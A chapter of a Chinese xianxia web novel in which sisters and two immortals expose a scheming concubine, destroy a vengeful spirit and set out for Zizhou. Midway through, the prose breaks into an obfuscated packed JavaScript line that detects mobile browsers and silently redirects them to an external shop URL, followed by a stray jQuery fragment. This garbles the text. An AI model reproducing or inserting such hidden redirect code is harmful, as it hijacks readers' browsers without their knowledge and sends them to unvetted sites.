“我只想让我的女儿不再当妾室,可看中的那家,不要庶女。”
流悟依然一脸平静。得善仙尊和他的称号一般,待所有人都和善,面目平静,透着股安宁。
宁淑看着流悟忍不住的勾了勾嘴角。
仙尊刚下凡怎么都想不到来回绕不开这些后宅之事吧。
流悟是有些无语的,跟他比可以说是还算小孩的姑娘,不是嫁人就是害人。
他真想说,这家不行,换一家不就行了。
路止声只觉心烦。
凡人就是麻烦。
宁仪亲身体会过才知道这股深深的无力感,原来这里的剧情这么无聊。她实在不想在这再磨这些事了,又一次推了剧情,“所以有神明托梦给你,告诉你说你能当上主母,你女儿能嫁一个相当不错的夫家,所以你就开始害陈夫人了是不是?”
云姨娘没有开口,脸色不太好看,被人说中了。
“你的神明怎么给你托的梦?”
宁淑接着问道。
“就在一个寻常的晚上,我半夜被雷声惊醒,再睡着就梦到了。开始我是不信的,它好像知道我不会信,但它说第二天我醒来,大公子会在街上晕倒。果不其然,然后我便信了。”
宁仪只觉无力。她看向路止声,那厮靠在墙上闭着眼不像听过一句的样子。
她看向宁淑,“阿姊,我觉得她不会全盘托出的,还不如咱们直接开始搜屋。”
流悟认同的点头,“我觉得宁仪姑娘说得对。你们进屋搜屋吧。”
云姨娘终于有了她到此最惊慌的一个表情。
“我一介妇人的闺房有何好搜的。我说的句句都是实话。”
宁淑没什么语气的开口,“娘子放心,我们两个女子进去,他们不会冒犯的。”
说完宁淑就拉着宁仪往屋里走。
云姨娘跑过来死死的拽住她俩的胳膊。终于不再伪装,面目有些扭曲,压低声音对她们说,“那邪已除,陈一衡早已病入膏肓活日不多,陈家迟早由我这一房说了算,你们为何揪着我不放。”
宁仪另一只手用力将她的手扒下去,“首先,你屋里有邪物。其次,看见那俩男的没,法力无边,一定能救陈一衡。你现在倒不如想想陈一衡若是知道你给她母亲长久以来的下药后你怎么办。”
云姨娘愣在了那里,陈一衡竟然有救。
宁淑一个用力甩开她后进去,直接进了她的闺房。
也是寻常女子的布置,但一架屏风背后的墙上贴着文曲神的画像。
掀开那副画像,里面墙体有一个凿空的洞,里面放着本陈年旧书,翻开一个字都没有,书侧的封线已经散了,说是书,实则是一沓废纸。
陈铸文果然要分身在他最得意的地方。
宁淑拿着书出去,手心点了一簇仙火,将这本书一把烧成了灰烬。
忽地,万籁俱寂,肉眼可见的一抹魂灵直奔宁淑而去。
云姨娘吓倒在地。
落英剑闻息出鞘,挡在主人身前,顶下来自怨邪的致命一击。
宁淑缓缓的睁开眼。
一手握住落英,心念神动,一道金光注入,只一瞬,那魂灵成了两半。
宁仪躲在屋里看热闹。
一半被流悟当场抓住了,一半直奔路止声而去。
断月只出一招便结束了。
路止声毫无波澜的将这半扔给流悟,“流兄,这里面有你要的东西。”
原著里是没这段的。
但宁仪清楚,是因为路止声使唤了这怨邪,这怨邪最后想偷袭他一下。
甚至不敢说是报复。
全天下的邪灵谁敢报复他。
青州这邪这么好抓,是因为他拿到这缕仙魂的时间太短,流悟追过来的太快,它还没有为己所用。其他地方就没这么容易了。
仙界最有望飞升之人的仙魂,只一缕,便是百年修为。
流悟从中取出自己的那缕仙魂,泛着些许光亮,点入他的眉心。
这只是一缕。
宁淑拿出化净瓶将这怨邪残余的魂灵收了进去。
“你可以将他灰飞烟灭。”流悟看着宁淑淡淡的开口,“这点小事我还是能说的算的。”
宁淑低着头,眼底聚起一汪泪。
“还有阵里的那个。你也一并处置吧。”流悟开口带着些玩笑的意味,“用不用我教你一些一瞬便可灰飞烟灭的功法?”
宁淑再也控制不住眼眶里的泪,哑声道,“谢谢仙尊。”
流悟带着浅浅的笑意摇头,调侃道,“等回宗有人问起,别表现得很是心虚就好。”
宁淑带着化净瓶跑着去住的那个院子了。
路止声靠在墙边嘲讽的勾了下嘴角。早知是她收尾,他就不费力收拾的那么干净了。
宁仪可没忘了她最大的那件事。
“仙尊,咱们接下来去哪里啊?”
路止声你给我听好了。
流悟点了下眉心,闭上眼,这缕仙魂在他体内乱跳了一会儿,随即脑海中有了答案。
“訾州。”
路止声听的很清楚,他站直了身子。
难道真是天道托梦给她的?
毕竟这是他仙力魔法试了一圈都找不到的。
“好的呢仙尊,我去告诉我阿姊。”
宁仪说完蹦蹦哒哒的往外去,白玉剑柄不知何时压在了她侧腰。
她转头看向这剑柄的主人。
“说话不算话?”
路止声冷脸看着她,忽地笑了,只是笑意不达眼底,看着比不笑还瘆人。
“你赢了,记得你的赌注。”
宁仪心想以为谁都像你一样阴晴不定说话不算话啊。
刚想回怼。转头差点碰上路止声的脸。
这人不知何时靠的这么近,宁仪心一跳,往后推了半步。
白玉剑柄稍稍用力又给她拦了回来。
路止声没什么温度的气息吹在她的耳朵上,宁仪起了一身鸡皮疙瘩。
“我的事你要是敢说出去半个字,不用你撞,我自会动手。”
说威胁的话就不用靠这么近了。
不用说她都知道是这样的。
宁仪没理他直接走了。
流悟有些傻眼的看着这一切。
这…这么快吗……
路兄这是和宁仪姑娘…
流悟也不乱想,直接开口问路止声,“路兄,你是不是心悦宁姑娘?”
路止声猛地回头看他。
他心悦那个凡人?
闭关飞升是先把脑子升上去了吧。
流悟看着路止声微皱的眉头,难道不喜被他说中了?
路止声忍耐的闭了闭眼,声线平稳,但仍有些咬牙切齿的开口,“流兄,我虽没经历过男女情爱之事,但对她,绝无男女之情。”
说完路止声头也不回的就走了。
走的很快。
流悟愣了一下,随即低头笑了。
——
陈铸文魂飞魄散前说的最后一句话,是他问宁淑,问她到底是谁。
宁淑一脸冷意,拂了拂衣袖,不甚在意的说到,“让你再无来世之人。”
下一瞬,天地静了一刹。
陈府门前那颗倒下的松树在同一时刻消失殆尽,路过的人见了,惊悚倒地。
陈衷华是在当天晚上赶回家的。
“谢各位仙人救我儿性命,除陈府妖邪。以后若有用得到陈某的地方,陈某定当倾力相助。”
中年男人长得很正气,身居高位多年,面上却没有什么污浊之气。
流悟给了陈一衡一颗仙丹,虽不能让他身体威猛强健,但可保他几十年寿数。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894113|212808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“陈刺史言重,除邪是我等应该做的。”
宁仪靠着柱子手里掂着陈夫人给的银子。刚才这帮清高的仙人不甚在意,若不是她反应迅速,一点碎银都捞不上。
路止声半边肩膀倚在柱子的另一边,随意的看着前面和陈衷华寒暄着的流悟与宁淑,耳边全是银哗啦碰撞的声音。
他斜眼看了宁仪一眼,一点银子就乐成这样,在路上全丢了才好。
这边陈衷华突然看向宁仪,开口道,“宁郡守的两位千金果然都貌美如花,听家母提起五小姐的婚事,内人祖家还有位侄子尚未婚配,与五小姐也算相配。”
“陈刺史,谢谢您的美意,但我妹妹目前还没有婚嫁的想法。”
“也是,像五小姐这般有勇有谋的姑娘,自不缺好儿郎。”
陈衷华慈祥的笑了两声,还说要设宴。
流悟以有要事为由,说休整一晚,第二天一早便要出发去訾州。
陈衷华又拉扯的两句,最后也就此作罢。
翌日一早。
宁淑推开宁仪的房门,把她从床上拽了起来。
“玉色,今天要赶往訾州,仙尊和路公子去挑马了,你快快起来和我去挑一匹。”
玉色不会骑马,她得去挑一匹好马,好载的下她们两人。
宁仪知道凡间不能御剑,原著里她们也都是骑着三匹马一路闯荡。
“阿姊,你看着挑吧,我也不懂。”宁仪含糊的开口,身子落回去耷拉在床边,不想动。
宁淑一个用力让她彻底直起身来。
“再不起阿姊生气了。”
好好好,宁仪伸手拍了拍自己的脸,让自己清醒。
旁边宁淑站着看着她,宁仪立马穿上衣服就起来了。
两人刚出房门,流悟他们已经回来了。
他换了一身藏青色的衣裳,头发束冠,和他那张温润的脸搭起来也不违和。身旁的那位公子一身黑袍,头发散着,腰间配着把沉黑的剑鞘,唯有剑柄是一抹亮眼的白。
“现在人齐了,我们赶紧上路吧。”
流悟自然的把路止声算进去,但宁淑不知道为何,有些懵的看向路止声。
流悟这才注意到,“路兄此次下凡便是为了除邪卫道,听闻我仙魂丢失愿来助我。况且路兄功力深厚,多一个人自然更顺利些。”
路止声在一旁笑得谦和,“和流兄同行一路是路某荣幸。”
宁仪看着俩人称兄道弟的只想笑,该说不说路止声装的还挺像样。
宁淑没再说什么,只是问他们挑好马了没,她带着玉色也去选一匹。
流悟有些惊的看着她,“宁仪姑娘会骑马?”
说完又有些不相信的看向宁仪。
宁仪:……
这是什么意思。
路止声在旁边都懒得看了,他真觉得流悟这人脑子和眼睛都有问题。这凡人细胳膊细腿的别说骑马,走路不折半路上都算好的。
宁淑心里有股子不爽劲儿,“我妹妹不会骑马又如何,我这个当阿姊的会不就行了。”
宁仪听完秒变星星眼的看着宁淑。
全天下最好的女宝,不愧是她的女主。
流悟挠了挠头,这话听着好像不太对劲,“我们给你们要了辆陈府的马车,你施法术让马跑就行。”
马车?
原著里没这回事啊。
难道是她带来的蝴蝶效应?不能吧,她啥也没干啊。
就因为体弱骑不了马?
宁淑愣了一下,“马车会不会太慢了?”
“不耽误,一路风吹雨打的,你们两个姑娘还是坐马车好。”流悟浅浅的笑着。
宁仪有股欣慰的感觉。
这本书男女主人设都很完美。
唯一的不足……
宁仪看向路止声。